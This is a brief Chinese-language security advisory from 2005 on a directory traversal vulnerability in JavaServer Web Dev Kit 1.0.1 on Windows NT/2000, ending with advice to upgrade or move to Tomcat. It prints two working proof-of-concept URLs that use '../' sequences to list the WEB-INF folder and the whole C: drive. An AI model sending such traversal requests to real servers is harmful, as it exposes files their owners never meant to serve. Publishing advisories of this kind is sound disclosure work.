|
JavaServer Web Dev Kit(JSWDK) for win2000 目录遍历漏洞 |
作者：未知 发布时间：2005-03-12 来源：JSP天空网
|
涉及程序：
JavaServer Web Dev Kit(JSWDK)
描述：
JavaServer Web Dev Kit(JSWDK) for win2000 目录遍历漏洞
详细：
发现装了 JavaServer Web Dev Kit(JSWDK)1.0.1 的 WINDOWS NT/2000 系统存在漏洞，
攻击者通过构造特殊的 URL 请求能访问未授权文件。
exploits:
http://localhost:8080/examples//WEB-INF/
会列出 /WEB-INF/ 目录 .
http://localhost:8080/../examples//WEB-INF/../../../../../
如果 JSWDK 被装在 c: ，此请求将会列出 c: 下所有目录和文件
受影响系统：
JavaServer Web Dev Kit(JSWDK)1.0.1 for win2000
解决方案：
CNNS 建议您升级 JSWDK 版本
建议您升级到tomcat. |
| |
|
|
|
